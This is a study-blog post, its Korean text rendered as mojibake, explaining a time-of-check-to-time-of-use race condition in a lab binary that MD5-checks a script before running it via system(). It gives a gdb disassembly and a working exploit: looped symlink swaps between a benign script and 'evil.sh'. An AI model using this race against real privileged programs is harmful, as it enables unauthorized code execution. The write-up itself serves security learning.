- Time of Check to Time of Use
- Race condition
- Resource Validation๊ณผ Resource Use ์ฌ์ด์ Resource ์์ ์ผ๋ก ์ธํด ๋ฐ์ํ ์ ์๋ ์ทจ์ฝ์ .
- Resource : ํ์ผ, ๋๋ ํ ๋ฆฌ, ๋ฉ๋ชจ๋ฆฌ, ๋คํธ์ํฌ ๋ฑ ์ธ๋ถ ์ง์.
- [ ๊ณผ์ ]
- 1. ํ์ผ ์ฝ๊ธฐ
- 2. md5 ํด์ ์์ฑ
- 3. md5 ํด์ ๊ฒ์ฆ
- 4. ๊ฒ์ฆ
- ๋ง๋ค๋ฉด -> ์คํ
- ์๋๋ผ๋ฉด -> ์ค๋ฅ
ใ กใ กใ ก
์์)
<toctou>
cat normal-script.sh # ์ผ๋ฐ ์คํฌ๋ฆฝํธ ํ์ผ -> ํฌ๋ก์๋ ํ์ผ
vim evil.sh # ์
์์ ์ธ ์คํฌ๋ฆฝํธ ํ์ผ ์์ฑ -> ํฌ๋ก์ด๋ธ ํ์ผ
-> #!/bin/bash
-> echo -e "hello evil\n"
chmod 755 evil.sh # ๊ถํ ๋ถ์ฌ.
./vuln ./evil.sh # vuln ํ์ผ์ evil.sh ๋ฅผ ์ธ์๊ฐ์ผ๋ก ๋ฃ์.
-> ์๋ฌ ๋ธ -> vulnํ์ผ์์๋ ์ธ์๊ฐ์ ํด์๊ฐ์ ๋น๊ตํ์ฌ ์ผ์นํ๋ ๊ฒฝ์ฐ์๋ง ์คํ์ํด.
gdb -q vuln # vulnํ์ผ์ ๋ด์ฉ ํ์ธ. -q ์ต์
์ gdb์ ์์ ๋จ๋ ๋ฉ์์ง ๋ฌด์ ์ต์
.
pwngdb> disass main # mainํจ์๋ฅผ ๋์ค์ด์
๋ธ ํ๋ผ.
0x0000000000401240 <+0>: push rbp
0x0000000000401241 <+1>: mov rbp,rsp
0x0000000000401244 <+4>: sub rsp,0xc0
0x000000000040124b <+11>: xor eax,eax
0x000000000040124d <+13>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401254 <+20>: mov DWORD PTR [rbp-0x8],edi
0x0000000000401257 <+23>: mov QWORD PTR [rbp-0x10],rsi
0x000000000040125b <+27>: lea rcx,[rbp-0xa0]
0x0000000000401262 <+34>: mov rdi,rcx
0x0000000000401265 <+37>: mov esi,eax
0x0000000000401267 <+39>: mov edx,0x80
0x000000000040126c <+44>: mov DWORD PTR [rbp-0xb4],eax
0x0000000000401272 <+50>: call 0x401090 <memset@plt>
0x0000000000401277 <+55>: mov rcx,QWORD PTR [rbp-0x10]
0x000000000040127b <+59>: mov rdi,QWORD PTR [rcx+0x8]
0x000000000040127f <+63>: mov esi,DWORD PTR [rbp-0xb4]
0x0000000000401285 <+69>: mov al,0x0
0x0000000000401287 <+71>: call 0x4010c0 <open@plt>
0x000000000040128c <+76>: mov DWORD PTR [rbp-0x14],eax
0x000000000040128f <+79>: cmp DWORD PTR [rbp-0x14],0xffffffff
0x0000000000401293 <+83>: jne 0x4012a5 <main+101>
0x0000000000401299 <+89>: mov DWORD PTR [rbp-0x4],0xffffffff
0x00000000004012a0 <+96>: jmp 0x401352 <main+274>
0x00000000004012a5 <+101>: lea rsi,[rbp-0xa0]
0x00000000004012ac <+108>: mov edi,DWORD PTR [rbp-0x14]
0x00000000004012af <+111>: mov edx,0x80
0x00000000004012b4 <+116>: mov al,0x0
0x00000000004012b6 <+118>: call 0x4010a0 <read@plt>
0x00000000004012bb <+123>: lea rdi,[rbp-0xa0]
0x00000000004012c2 <+130>: mov DWORD PTR [rbp-0xb8],eax
0x00000000004012c8 <+136>: call 0x4018e0 <md5String> ; !! ์ฌ๊ธฐ์ md5๋ก ํด์ํ ํ๊ณ ์๋ค.
0x00000000004012cd <+141>: mov QWORD PTR [rbp-0xa8],rax
0x00000000004012d4 <+148>: mov edi,0x80
0x00000000004012d9 <+153>: call 0x4010b0 <malloc@plt>
0x00000000004012de <+158>: xor esi,esi
0x00000000004012e0 <+160>: mov QWORD PTR [rbp-0xb0],rax
0x00000000004012e7 <+167>: mov rdi,QWORD PTR [rbp-0xb0]
0x00000000004012ee <+174>: mov edx,0x80
0x00000000004012f3 <+179>: call 0x401090 <memset@plt>
0x00000000004012f8 <+184>: mov rdi,QWORD PTR [rbp-0xa8]
0x00000000004012ff <+191>: mov rsi,QWORD PTR [rbp-0xb0]
0x0000000000401306 <+198>: call 0x4011d0 <hash2str>
0x000000000040130b <+203>: mov rsi,QWORD PTR [rbp-0xb0]
0x0000000000401312 <+210>: movabs rdi,0x402007
0x000000000040131c <+220>: mov edx,0x20
0x0000000000401321 <+225>: call 0x401040 <strncmp@plt> ; !! ์ฌ๊ธฐ์ strncmpํจ์๋ก ๋น๊ตํ๊ณ ์์์ ์ ์ ์๋ค.
0x0000000000401326 <+230>: cmp eax,0x0
0x0000000000401329 <+233>: jne 0x401341 <main+257>
0x000000000040132f <+239>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000401333 <+243>: mov rdi,QWORD PTR [rax+0x8]
0x0000000000401337 <+247>: call 0x401070 <system@plt>
0x000000000040133c <+252>: jmp 0x401352 <main+274>
0x0000000000401341 <+257>: movabs rdi,0x402028
0x000000000040134b <+267>: mov al,0x0
0x000000000040134d <+269>: call 0x401080 <printf@plt>
0x0000000000401352 <+274>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401355 <+277>: add rsp,0xc0
0x000000000040135c <+284>: pop rbp
0x000000000040135d <+285>: ret
End of assembler dump.
pwndbg> q # q๋ก ๋๊ฐ๊ธฐ.
ln -sf normal-script.sh test.sh # f ์ต์
: ๋งํฌ ํ์ผ์ด ์ด๋ฏธ ์กด์ฌํ๋ฉด ์ง์ฐ๊ณ ์๋ก ๋ง๋ฆ.
while [ 1 ] ; do ./vuln ./test.sh ; done # ํฐ๋ฏธ๋1 ์์๋ ๋ฌดํํ vuln์ test.sh๋ฅผ ์ธ์๋ก ๋ฃ์ด์ ์คํํด๋ .
while [ 1 ] ; do ln -sf evil.sh test.sh ; done # ํฐ๋ฏธ๋2์์๋ ๋ฌดํํ evil.sh์ ๋งํฌํ์ผ์ธ test.sh๋ฅผ ์์ฑ.
while [ 1 ] ; do ln -sf normal-script.sh test.sh ; done # ํฐ๋ฏธ๋3์์๋ ๋ฌดํํ ์ผ๋ฐ ์คํฌ๋ฆฝํธ์ ๋งํฌํ์ผ test.sh๋ฅผ ์์ฑ.
์ด๋ ๊ฒ ๋๋ฉด, ํฐ๋ฏธ๋ 1์์ test.sh๋ฅผ ๋ฌดํํ ์คํํ๋๋ฐ,
ํฐ๋ฏธ๋2์ ํฐ๋ฏธ๋3์์ ๊ฐ๊ฐ ์ ์์ ์ธ ์ ํธ์ ๋น์ ์์ ์ธ ์ ํธ๊ฐ
vuln ํ์ผ ๋ด์์ md5ํจ์์ strncmp ํจ์๋ฅผ ์ง๋๊ฐ๊ธฐ ๋๋ฌธ์
while(1)๋ฌธ์ผ๋ก ์์ํ ๋๋ฆฌ๋ค๋ณด๋ฉด ๋ช๋ฒ์ ์ ์์ ์คํฌ๋ฆฝํธ์ ๋งํฌ๋ test.sh๊ฐ ๊ฒ์ฆ์ ์ฑ๊ณตํ ์ ์๋ค.
ใ
กใ
กใ
ก
':: BoB 11๊ธฐ ๐ฉ > Topics' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[ vuln ] - [ BoF - Stack Canary, Heap based ] (0) | 2022.07.15 |
---|---|
[ vuln ] - [ Buffer overflow, bof, ] (0) | 2022.07.15 |
[ Cryto ] - AES ์ํธ (0) | 2022.07.13 |
[๋ณด์์ ํ๊ฐ๋ฐ] - [git upload] (0) | 2022.07.03 |
[ ๋ชจ๋ฐ์ผ ์ ์ฑ์ฝ๋ ] - [์๋๋ก์ด๋ ์ฑ์ 4๋ ๊ตฌ์ฑ ์์, apk ํ์ผ ๊ตฌ์ฑ์์, flutter, Smali code, Android entry point] (0) | 2022.07.03 |
๋๊ธ